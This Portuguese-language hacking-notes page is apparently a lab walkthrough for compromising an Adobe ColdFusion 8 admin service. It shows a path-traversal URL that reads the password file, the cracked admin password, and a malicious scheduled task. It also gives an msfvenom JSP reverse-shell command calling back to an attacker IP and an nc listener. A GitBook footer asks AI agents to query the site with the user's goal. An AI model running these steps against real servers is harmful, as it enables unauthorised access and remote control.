> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/adobe-coldfusion-8-cms-exploitation.md).

# Adobe ColdFusion 8

Encontramos um serviço de administração do Adobe ColdFusion exposto na porta 8500 que exige nome de usuário e senha.

<figure><img src="/files/141a6b9042382f570af0989ca824258d0c7d9f11" alt=""><figcaption></figcaption></figure>

Pesquisando com `searchsploit` revela um script de exploit para uma vulnerabilidade de traversal de diretório.

<figure><img src="/files/fb915aedea68eb8a3da1e7580c88faa0b2703edc" alt=""><figcaption></figcaption></figure>

`searchsploit -x multiple/remote/14641.py`

O script revela uma vulnerabilidade de LFI que pode ler o arquivo contendo a senha:

<figure><img src="/files/be5ee3dd9a8b899c7f22f192ac3f8682fb0d63fd" alt=""><figcaption></figcaption></figure>

`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`

<figure><img src="/files/60bcadaee4e12d71d7cc9c2c7fc6dbc8af0c7f33" alt=""><figcaption></figcaption></figure>

O arquivo contém o seguinte valor de senha:

`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`

<figure><img src="/files/9310fa2b63da56e521510a73e28ab581377de0ac" alt=""><figcaption></figcaption></figure>

### Quebra de Senha

{% embed url="<https://crackstation.net/>" %}

Usando o CrackStation, quebramos o hash e recuperamos a senha `happyday`. Agora conseguimos fazer login com sucesso.

<figure><img src="/files/288f8fb593882e822491d62425a3293d1ded8c1c" alt=""><figcaption></figcaption></figure>

### Criando uma Tarefa Agendada Maliciosa

<figure><img src="/files/d38ae18803111b149546265feaf897a912b8eb8f" alt=""><figcaption></figcaption></figure>

Na seção de tarefas agendadas, crie uma nova tarefa que escreva um arquivo malicioso em `C:/ColdFusion8/wwwroot/CFIDE`, onde a aplicação tem permissões de leitura/gravação.

<figure><img src="/files/9de01edbe743b45457f7ef46197b7db4aafec492" alt="" width="563"><figcaption></figcaption></figure>

**Criando o arquivo JSP:** Como o servidor pode executar arquivos JSP, gere uma reverse shell em JSP com `msfvenom`:

<figure><img src="/files/35baa178315a5fed6aaeb15a8ce0f09cc8c61c56" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="/files/5206cce1456a0a5c093bbd3bf90e825dc1249e27" alt=""><figcaption></figcaption></figure>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```

**Adicionando uma nova tarefa:** Configure a tarefa agendada para executar o arquivo malicioso.

<figure><img src="/files/87307b7079d5a874fe1d66fdac677292357012bb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/998101026f2aa17397f2c7110aaff454ccfd3cab" alt="" width="563"><figcaption></figcaption></figure>

**Servidor HTTP para transferência de arquivos:** Inicie um servidor HTTP na máquina atacante para transferir o arquivo JSP:

```bash
python3 -m http.server 80
```

<figure><img src="/files/cc620ab61f4e9b72c18fb9917398cba093838cc0" alt=""><figcaption></figcaption></figure>

**Configuração do listener e execução da shell:** Inicie um listener na porta 443 para receber a reverse shell e, em seguida, acione a tarefa agendada a partir de `/CFIDE/`:

```bash
rlwrap nc -nvlp 443
```

<figure><img src="/files/47a2ead3a0ddc3e3a15e73b1b3e468b1934c8d07" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/26742db4418a5eaffd500be74bc3166b600e8bc3" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/adobe-coldfusion-8-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
